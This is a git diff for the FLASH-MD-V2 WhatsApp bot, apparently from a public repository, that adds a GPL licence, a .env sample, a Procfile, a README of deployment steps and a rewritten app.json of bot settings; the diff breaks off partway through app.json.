diff --git a/.env-sample b/.env-sample new file mode 100644 index 00000000..8b5d19e6 --- /dev/null +++ b/.env-sample @@ -0,0 +1,19 @@ +SESSION= +PREFIX= +YOUR_NUMBER= +MODE= +WARNINGS= +YOUR_NAME= +ANTICALL= +ANTIDELETE= +AUTO_REACTION= +AUTO_READ_STATUS= +AUTO_LIKE= +AUTO_READ_DM= +HEROKU_API_KEY= +HEROKU_APP_NAME= +PRESENCE_DM= +PRESENCE_GROUP= +YOUR_LID= +timezone= +ALIVE_URL= diff --git a/.gitignore b/.gitignore deleted file mode 100644 index ab6b8f8f..00000000 --- a/.gitignore +++ /dev/null @@ -1,6 +0,0 @@ -/auth -/set.env -/package-lock.json -/node_modules -/store.json -/audio.mp3 diff --git a/Dockerfile b/Dockerfile deleted file mode 100644 index 7d7f42f4..00000000 --- a/Dockerfile +++ /dev/null @@ -1,24 +0,0 @@ -FROM node:lts-buster - -RUN apt-get update && \ - apt-get install -y \ - ffmpeg \ - imagemagick \ - webp && \ - apt-get upgrade -y && \ - npm i pm2 -g && \ - rm -rf /var/lib/apt/lists/* - -RUN git clone https://github.com/franceking1/Flash-MD.git /root/FlashMd -WORKDIR /root/FlashMD/ - - -COPY package.json . -RUN npm install pm2 -g -RUN npm install --legacy-peer-deps - -COPY . . - -EXPOSE 5000 - -CMD ["node", "flash.js"] diff --git a/LICENSE b/LICENSE new file mode 100644 index 00000000..ca5bf49b --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + +GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Procfile b/Procfile new file mode 100644 index 00000000..1da0cd6f --- /dev/null +++ b/Procfile @@ -0,0 +1 @@ +web: node index.js diff --git a/README.MD b/README.MD new file mode 100644 index 00000000..f2d16182 --- /dev/null +++ b/README.MD @@ -0,0 +1,73 @@ +# 🚀 FLASH-MD-V2: The Ultimate WhatsApp Bot + +

+ FLASH-MD-V2 Banner +

+ +**FLASH-MD-V2** is a powerful, fully customizable WhatsApp bot built with **Node.js** and the **WhatsApp Web API**. Automate tasks, manage groups, and enhance your WhatsApp experience with ease. +## CONNECT TO WHATSAPP: +- **STAR REPO AND THEN** [FORK IT](https://github.com/franceking1/Flash-Md-V2/fork) +- **GET SESSION ID USING** [FLASH-MD SESSIONS](https://fixed-sessions.onrender.com) + +- [**TRY VERSION 3 HERE**](https://host-yqmf.onrender.com) Which doesn't require deployment. +--- +### 🚀 Deployment Platforms: + +| **Platform** | **Instructions** | +|---------------------|------------------| +| **Heroku** | **Heroku deployment guide**:
1. Create an account on [Heroku](https://signup.heroku.com)
2. Add a credit card (required for deployment).
3. Click [RIGHT HERE](https://france-king.vercel.app/) to deploy FLASH-MD V2 instantly. | +| **Render** | 1. Sign up at [Render](https://render.com) & link GitHub.
2. Set Build Command as `npm install` & Start Command as `npm start`.
3. Deploy without session env first.
4. After first deploy, add `SESSION`, `YOUR_NUMBER`, and `YOUR_LID` to `.env`.
5. To keep it 24/7, add your Render app link to `.env`. | +| **Koyeb** | 1. Sign up at [Koyeb](https://www.koyeb.com) & link GitHub.
2. Set up environment variables: `YOUR_NUMBER`, `YOUR_LID`, `SESSION`.
3. Deploy using Node.js auto-detect. | +| **Railway** | 1. Sign up at [Railway](https://railway.app) & link GitHub.
2. Set Build Command as `npm install` & Start Command as `npm start`.
3. Add environment variables: `YOUR_NUMBER`, `YOUR_LID`, `SESSION`.
4. Deploy & your bot is live! | +| **Bot-Hosting.net** | 1. **[DOWNLOAD THE ZIP HERE](https://github.com/franceking1/Flash-Md-V2/archive/refs/heads/main.zip)**.
2. Go to [Bot-Hosting.net](https://bot-hosting.net) and create a new Node.js app.
3. Upload and extract the ZIP contents.
4. Add environment variables: `SESSION`, `YOUR_NUMBER`, `YOUR_LID`.
5. Start your bot from the panel. | +| **Optiklink.com** | 1. **[DOWNLOAD THE ZIP HERE](https://github.com/franceking1/Flash-Md-V2/archive/refs/heads/main.zip)**.
2. Go to [Optiklink.com](https://optiklink.com) and create a Node.js project.
3. Upload and extract the ZIP.
4. Set `.env` values: `SESSION`, `YOUR_NUMBER`, `YOUR_LID`.
5. Start the bot via terminal or web console. | +| **Termux** | **Termux Setup Instructions**:
1. Install [Termux](https://f-droid.org/packages/com.termux/) on Android.
2. Clone the repo and navigate into the folder.
3. Install dependencies and run the bot with the commands below. | + +### 📚 TERMUX Setup Instructions: + +#### 1. Clone the repository: + +```bash +git clone https://github.com/franceking1/FLASH-MD-V2.git +``` +```bash +cd FLASH-MD-V2 +``` +```bash +npm install +``` +```bash +npm start + +``` +--- + + +### ⚠️ Warning + +- **Do NOT copy, modify, or redistribute** this bot without **proper permission**. +- FLASH-MD-V2 is an **open-source project**, but it is protected by its license and community standards. +- Give **proper credits** to the original authors and libraries used. +- Any misuse or abuse of this bot is **strictly prohibited**. + +--- +*** +### HELP : +**IF you need any help** +- [**CLICK HERE**](https://messages-snowy.vercel.app) +- [**Click here to send suggestions or queries**](https://suggestions-phi.vercel.app) + + +*** + +### ⭐ Support This Project + +| **Action** | **Purpose** | +|------------|-------------| +| [Use This Template](https://github.com/franceking1/FLASH-MD-V2/generate) | Create your own working bot easily. Eg, for hosting on render ‼️ | +| [Fork This Repo](https://github.com/franceking1/FLASH-MD-V2/fork) | Show your support and boost visibility | + +> Every ⭐ star and fork makes a big difference — thank you for supporting **FLASH-MD-V2**! + +> Powered by France King +--- diff --git a/README.md b/README.md deleted file mode 100644 index cd181709..00000000 --- a/README.md +++ /dev/null @@ -1,67 +0,0 @@ -

𝐓𝐇𝐄 𝐅𝐋𝐀𝐒𝐇 𝐌𝐔𝐋𝐓𝐈 𝐃𝐄𝐕𝐈𝐂𝐄

-

- -*** - -Typing SVG -

- FLASH-MD -

-

- -

-

- - - - - -*** - -#### SETUP - -***1.`First STAR 🌟 This Repo ` And Then [`FORK`](https://github.com/franceking1/Flash-Md/fork) It*** - -***2.`Get Session ID` by [`SCANING QR`](https://flash-md-qr-15fb04fdd132.herokuapp.com/) Or [`PAIRING CODE`](https://flash-sessions-d1f770c2ae05.herokuapp.com/pair)*** - -*-Copy The Session ID to paste it in Heroku* - -*** - -#### DEPLOY TO HEROKU -**1. If You Don't Have An Account On Heroku** -
-

-

- -**2. If You Have a Heroku Account** -
-

- - -*** - - -### CONTRIBUTIONS --Contributions to Flash-Md are welcome! If you have ideas for new features, improvements, or bug fixes, feel free to open an issue or submit a pull request. - -*** - -### LICENSE --The FLASH-MD is released under the [MIT License](https://opensource.org/licenses/MIT). - --Enjoy the diverse features of the Flash-Md to enhance your conversations and make your WhatsApp experience more interesting! - -*** -### DEVELOPER: -**GET In Touch with The Owner** -- [**On Instagram**](https://instagram.com/france.king1) -- [**Via WhatsApp**](https://wa.me/254757835036) - -*** - -### THANKS TO: -- [***Fortunatus Mokaya***](https://github.com/Fortunatusmokaya) For several Cmds Addition. -- [***Gifted Tech***](https://github.com/giftedtechnexus) For Genaral Help and Session Generation -- [***Suhail Ser***](https://github.com/SuhailTechInfo) For Code encryption -- [***Luffy***](https://github.com/Luffy2ndAccount) For Providing a Base of **FLASH-MD** diff --git a/app.json b/app.json index 90b1b5a9..0dc4337f 100644 --- a/app.json +++ b/app.json @@ -1,143 +1,105 @@ { - "name":"FLASH-MD", - "description":"An easy and simple WhatsApp bot developed by France King", - "keywords":["bot","node","baileys","whatsapp"], - "logo":"https://telegra.ph/file/dfccbf12397757c321ac4.jpg", - "repository":"https://github.com/franceking1/Flash-Md", - "succes_url":"/", - "stack":"container", - "env":{ - "PREFIX": - { - "description":"choose your prefix of bot", - "value":".", - "required":true + "name": "FLASH-MD-V2.5", + "description": "A WhatsApp bot powered by Baileys.", + "repository": "https://github.com/franceking1/FLASH-MD-V2", + "stack": "heroku-24", + "scripts": { + "postdeploy": "echo 'Deployment complete!'" + }, + "env": { + "SESSION": { + "description": "Flash MD session string (required for WhatsApp login)", + "required": true + }, + "PREFIX": { + "description": "Comma-separated list of command prefixes (e.g. !, /)", + "required": false, + "value": "!" + }, + "YOUR_NUMBER": { + "description": "Your WhatsApp number in international format (e.g. 254742063632)", + "required": false, + "value": "254742063632" + }, + "MODE": { + "description": "Bot mode: 'private' or 'public'", + "required": false, + "value": "public" + }, + "WARNINGS": { + "description": "Number of warnings before action is taken", + "required": false, + "value": "3" + }, + "YOUR_NAME": { + "description": "Your name or bot owner name", + "required": false, + "value": "FLASH-MD" + }, + "ANTICALL": { + "description": "Block incoming calls (on/off)", + "required": false, + "value": "on" + }, + "ANTIDELETE": { + "description": "Enable anti-delete for messages (on/off)", + "required": false, + "value": "on" + }, + "AUTO_REACTION": { + "description": "Enable auto-reaction to messages (on/off)", + "required": false, + "value": "off" + }, + "AUTO_READ_STATUS": { + "description": 